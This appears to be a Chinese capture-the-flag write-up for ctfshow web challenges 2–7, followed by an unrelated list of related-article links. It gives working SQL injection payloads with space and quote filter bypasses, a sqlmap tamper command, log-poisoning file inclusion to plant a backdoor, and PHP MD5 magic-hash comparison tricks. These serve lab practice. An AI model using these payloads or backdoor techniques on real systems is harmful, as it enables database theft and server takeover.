当前位置: 首页 > news >正文

ctfshow web类 2-7题

  • 签到题

  • 右键base64解密
  • 2、就是纯post模式的sql注入

  • 使用联合查询进行1' union select 1,table_name,3 from information_schema.tables where table_schema=database() #
  • 这个题有个坑就是涉及到回显位置

  • 他这个就是回显位置是 2 这个地方 其他的位置是不会回显的
  • 获取列
  • 1' union select 1,column_name,3 from information_schema.columns where table_name='flag' #

  • 得到列只有一个就是flag 那就进行查询数据
  • 1' union select 1,flag,3 from flag#

  • 3、文件包含

  • 4、文件包含类 日志拿权

  • 日志文件地址
    linux: 
    /var/log/httpd/access_log
    /var/log/apache/access.log
    /var/log/nginx/access.log

  • 抓包

  • 在日志上进行写入后门  页面中有了

  • 后门工具连接

  • 5、 php脆弱性:

  • 不同类型 == 转换之后 只需要是相同类型的就会返回true
  • ctype_alpha() 检测字符串函数
  • https://f83cb79f-b938-4bb1-a67d-28475a3e07ab.challenge.ctf.show/?v1=QNKCDZO&v2=240610708
  • MD5 加密的缺陷 主要还是 == 判断的是类型相同性 如果加密的结果都是 0e 开头那就好出现相同性
  • 6、sql 注入但是空格被过滤

  • 手工: 可以使用 /**/ 进行过滤掉 也可以使用sqlmap自带的脚本
  • python3 sqlmap.py -u "" --batch -- tamper=space2morecomment --leve=3
  • --batch 自动选择交互内容为 y
  • -- tamper=space2morecomment 使用空格转换脚本
  • --leve=3 精细处理
  • 7、过滤掉了 空格和 ''

  • 先进行检测

  • 报错说明 and 1=1# 有东西被过滤了 可能是 and 或者是 空格

  • 这个情况就是空格了 空格被过滤可以使用 注释符号代替 /**/
  • 判断哪个是过滤掉的逻辑

  • 我常用的方法就是在这个 参数前面加上 这个过滤符号 看看还能不能正常显示 如果正常说明这个就是被过滤了

  • 还有一个情况就是说明被拦截了 说明 ' 不能进行使用了

  • '' 的过滤就是 1、 16进制加密 2、使用char(97,98) 这样使用ascii进行拼接
  • -1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

  • ?id=-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=CHAR(102,108,97,103)#

  • ?id=-1/**/union/**/select/**/1,2,flag/**/from/**/flag#

http://www.xdnf.cn/news/90739.html

相关文章:

  • pip的源管理和包管理
  • 初级云计算运维工程师学习二
  • DAS(分布式声波传感)工作流程
  • Windows:删除文件报(已解决)操作无法完成,因为其中的文件夹或文件已在另一程序中打开
  • 关于QLabel上显示图片扩展的问题记录
  • 文件操作函数
  • PLOG安装
  • NumPy入门:从数组基础到数学运算
  • 深度学习中的“重参数化”总结
  • 正点原子TFTLCD扩展
  • 框架开发.idea配置项提示
  • 【算法】BFS-解决FloodFill问题
  • 基于 Spring Boot实现的图书管理系统
  • 强化学习框架:OpenRLHF源码解读,模型处理
  • C++ 算法(12):数组参数传递详解,值传递、指针传递与引用传递
  • pcp补丁升级手顺
  • YOLO系列面试冲刺
  • 深入理解无监督学习:探索数据的潜在结构
  • 基于TCP的协议
  • (数论)Lucas定理
  • linux 手动触发崩溃
  • 多头注意力(Multi‑Head Attention)
  • 鸣潮赞妮技能机制解析 鸣潮赞妮配队推荐
  • 路由交换网络专题 | 第六章 | OSPF | BGP | BGP属性 | 防环机制
  • RS232借助 Profinet网关与调制解调器碰撞出的火花
  • 探秘云原生架构:概念、技术、设计与反模式深度解读
  • strlen参数不匹配编译报错处理
  • 前端做模糊查询(含AI版)
  • 操作系统——堆与栈详解:内存结构全面科普
  • 电商平台比价 API 接口,避免人工比价的低效与误差